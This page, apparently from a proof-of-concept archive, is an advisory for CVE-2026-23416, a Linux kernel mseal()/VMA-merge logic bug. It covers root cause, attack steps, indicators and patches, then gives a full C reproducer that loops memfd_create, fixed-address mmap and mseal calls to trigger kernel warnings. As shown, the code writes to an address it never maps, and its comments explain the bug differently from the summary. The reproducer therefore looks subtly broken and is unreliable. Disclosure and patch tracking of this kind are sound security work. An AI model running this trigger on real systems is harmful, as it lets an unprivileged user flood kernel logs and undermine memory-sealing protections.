PoC Archive PoC Archive
Medium CVE-2026-23416 patched

Linux Kernel mm/mseal VMA-Merge Stale-Bound Bug (CVE-2026-23416)

by Antonius / Blue Dragon Security (bluedragonsecurity) · 2026-07-05

Severity
Medium
CVE
CVE-2026-23416
Category
binary
Affected product
Linux kernel, mm/mseal.c / mm/vma.c (mseal_apply() / vma_merge_existing_range())
Affected versions
Linux 6.17 through 7.0-rc5; fixed in 7.0-rc6, and stable backports 6.18.21 / 6.19.11
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / ResearcherAntonius / Blue Dragon Security (bluedragonsecurity)
CVE / AdvisoryCVE-2026-23416
Categorybinary
SeverityMedium
CVSS ScoreNot specified in source
StatusPoC
Tagslinux-kernel, mseal, mm-subsystem, vma, logic-error, unprivileged, security-feature-bypass, memfd
RelatedN/A

Affected Target

FieldValue
Software / SystemLinux kernel, mm/mseal.c / mm/vma.c (mseal_apply() / vma_merge_existing_range())
Versions AffectedLinux 6.17 through 7.0-rc5; fixed in 7.0-rc6, and stable backports 6.18.21 / 6.19.11
Language / PlatformC, standard Linux syscalls (memfd_create, mmap, mseal)
Authentication RequiredNo (unprivileged UID, no capabilities)
Network Access RequiredNo (local only)

Summary

CVE-2026-23416 is a logic bug in the kernel’s mseal(2) implementation. mseal_apply() iterates over the target VMAs and advances its cursor by copying a previously-captured vm_end value, but the underlying vma_modify_flags() call can merge adjacent VMAs mid-iteration, changing vm_end out from under the stale copy. The next loop iteration then starts from an incorrect address, producing an inconsistent VMA range. On debug kernels this trips a VM_WARN_ON_VMG() assertion; on production kernels the inconsistency proceeds silently, meaning the VM_SEALED protection that mseal() is meant to guarantee can be applied to the wrong address range without any indication of failure. The included C PoC deterministically reproduces this by creating two adjacent memfd-backed mappings, partially sealing one, then issuing a second mseal() call that spans across the sealed/unsealed boundary and forces the vulnerable merge path.


Vulnerability Details

Root Cause

In mseal_apply(), curr_end = vma->vm_end is captured before a merge can occur; when vma_modify_flags() subsequently merges VMAs, the stale value is reused as curr_start on the next iteration instead of being refreshed from the (now different) VMA boundaries.

Attack Vector

  1. An unprivileged process creates two adjacent memfd-backed mmap() regions (MAP_SHARED | MAP_FIXED).
  2. It calls mseal(2) on a sub-range of the first mapping, marking that VMA VM_SEALED.
  3. It calls mseal(2) again with a range that starts inside the now-sealed VMA and extends into the adjacent unsealed VMA, forcing vma_merge_existing_range() to merge them mid-iteration.
  4. The stale curr_start/curr_end bookkeeping produces an inconsistent vmg state, tripping VM_WARN_ON_VMG on debug kernels (silent on production kernels).

Impact

On CONFIG_DEBUG_VM kernels, repeated kernel WARNINGs are logged (triggerable at will by an unprivileged user). More significantly, on production kernels the miscalculated range means mseal()’s sealing guarantee can be silently misapplied, undermining a security hardening primitive without any visible failure.


Environment / Lab Setup

Target:   Linux kernel 6.17 - 7.0-rc5, ideally built with CONFIG_DEBUG_VM=y to observe the WARNING
Attacker: gcc, any unprivileged shell account (no root/capabilities needed)

Proof of Concept

PoC Script

See cve-2026-23416-poc.c in this folder. A short write-up is also included as CVE-2026-23416-writeup.pdf, and desc.md has the author’s update notes with a confirmed real-hardware dmesg trace.

1
2
3
gcc -o poc cve-2026-23416-poc.c
./poc
dmesg | grep 'WARNING.*vma.c:830'

The program repeatedly forks, and in each child creates the two memfd mappings and issues the two mseal() calls described above, then periodically greps dmesg for the vma_merge_existing_range warning count so the operator can see it firing.


Detection & Indicators of Compromise

WARNING: CPU: X PID: Y at mm/vma.c:830 vma_merge_existing_range+0x...

Signs of compromise:

  • Repeated WARNING ... vma_merge_existing_range entries in dmesg/kernel log, especially many originating from the same unprivileged UID/process in rapid succession.
  • Processes making tight loops of memfd_create + mmap + mseal syscalls.

Remediation

ActionDetail
Primary fixUpgrade to Linux 7.0-rc6 / 6.18.21 / 6.19.11 or later (fix commits 40b3f4700e55, 83737e34b83a, 2697dd8ae721).
Interim mitigationNo practical workaround short of patching; monitor dmesg for the vma.c:830 WARNING signature as an indicator of attempted triggering.

References


Notes

Mirrored from https://github.com/bluedragonsecurity/CVE-2026-23416-POC on 2026-07-05.

cve-2026-23416-poc.c
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
/*
 * CVE-2026-23416-POC
 * Affected: Linux kernel 6.17-7.0-rc5 (confirmed)
 *           mm/vma.c untouched in rc3->rc4 and rc4->rc5 patches.
 * Discovered by : Antonius / Blue Dragon Security
 *           	   https://bluedragonsec.com
 *                 https://github.com/bluedragonsecurity
 *
 */

#define _GNU_SOURCE
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <unistd.h>

#ifndef __NR_memfd_create
#define __NR_memfd_create 319
#endif
#ifndef __NR_mseal
#define __NR_mseal 462
#endif
/* ---------------------------------------------------------------
 * Core trigger.
 *
 * After the two mmaps + first mseal, memory layout is:
 *
 *   [0x21da6000 - 0x21de5fff]  VMA-A  (fd2, MAP_SHARED|MAP_FIXED)
 *                              ^-- first mseal() sets VM_SEALED here
 *   [0x21de6000 - 0x21e82fff]  VMA-B  (fd2, MAP_SHARED|MAP_FIXED)
 *                              ^-- NOT sealed when second mseal fires
 *   [0x21e83000 - 0x21e84fff]  VMA-C  (leftover)
 *
 * Second mseal(mmap2_result, 0x70000) targets [0x21da6000-0x21e15fff],
 * spanning VMA-A (sealed) into VMA-B (not sealed).
 *
 * Inside do_mseal() -> mseal_apply() -> vma_modify_flags():
 *   The call passes the original full mseal start (0x21da8000 from the
 *   first mseal context) as vmg->start. When vma_merge_existing_range()
 *   is invoked for VMA-B (middle=[0x21de6000..]):
 *
 *     vmg->start (0x21da8000) != middle->vm_start (0x21de6000)
 *     AND middle != prev
 *     -> VM_WARN_ON_VMG fires at mm/vma.c:830
 * --------------------------------------------------------------- */
static void trigger(void)
{
	intptr_t fd1, fd2, m1, m2;

	/* workspace string for memfd names */
	memcpy((void *)0x200000000100UL, "syz-mseal\0", 10);

	/* fd1: first memfd, mapped at 0x21da8000 */
	fd1 = syscall(__NR_memfd_create,
		      (uint64_t)0x200000000100UL, (uint64_t)1UL);
	if (fd1 < 0)
		return;

	m1 = syscall(__NR_mmap,
		     (uint64_t)0x21da8000UL, (uint64_t)0xdd000UL,
		     (uint64_t)8UL,   /* PROT_SEM */
		     (uint64_t)0x11UL, /* MAP_SHARED | MAP_FIXED */
		     (intptr_t)fd1, (uint64_t)0UL);

	/* fd2: second memfd, mapped at 0x21da6000 (overlaps m1 at start) */
	memcpy((void *)0x200000000100UL, "syz-mseal\0", 10);
	fd2 = syscall(__NR_memfd_create,
		      (uint64_t)0x200000000100UL, (uint64_t)1UL);
	if (fd2 < 0)
		return;

	m2 = syscall(__NR_mmap,
		     (uint64_t)0x21da6000UL, (uint64_t)0xdd000UL,
		     (uint64_t)8UL,
		     (uint64_t)0x11UL,
		     (intptr_t)fd2, (uint64_t)0UL);

	/*
	 * Step 1: Partial seal on m1 range.
	 * Seals [0x21da8000 .. 0x21de5fff] -- a subset of VMA-A.
	 * Sets VM_SEALED (0x400000000000) on VMA-A.
	 */
	syscall(__NR_mseal, (uint64_t)m1, (uint64_t)0x3e000UL, (uint64_t)0UL);

	/*
	 * Step 2: Seal spanning VMA-A (sealed) + VMA-B (not sealed).
	 * Range [0x21da6000 .. 0x21e15fff].
	 * -> vma_merge_existing_range() WARN fires.
	 */
	syscall(__NR_mseal, (uint64_t)m2, (uint64_t)0x70000UL, (uint64_t)0UL);
}

int main(void)
{
	fprintf(stderr,
		"============================================\n"
		"CVE-2026-23416-POC\n"
		"Discovered by : Antonius / Blue Dragon Security\n"
		"                https://bluedragonsec.com\n"
		"                https://github.com/bluedragonsecurity"
		"============================================\n");

	

	for (int iter = 0;; iter++) {
		pid_t pid = fork();
		if (pid < 0) {
			perror("fork");
			return 1;
		}
		if (pid == 0) {
			trigger();
			_exit(0);
		}
		int st;
		waitpid(pid, &st, 0);
		fprintf(stderr, "[iter %d]\n", iter);

		if (iter % 5 == 0)
			system("dmesg 2>/dev/null | grep -c 'WARNING.*vma\\.c:830' "
			       "| xargs -I{} sh -c "
			       "'[ {} -gt 0 ] && "
			       "echo \"[+] WARNING triggered {} times total\"'");
	}
	return 0;
}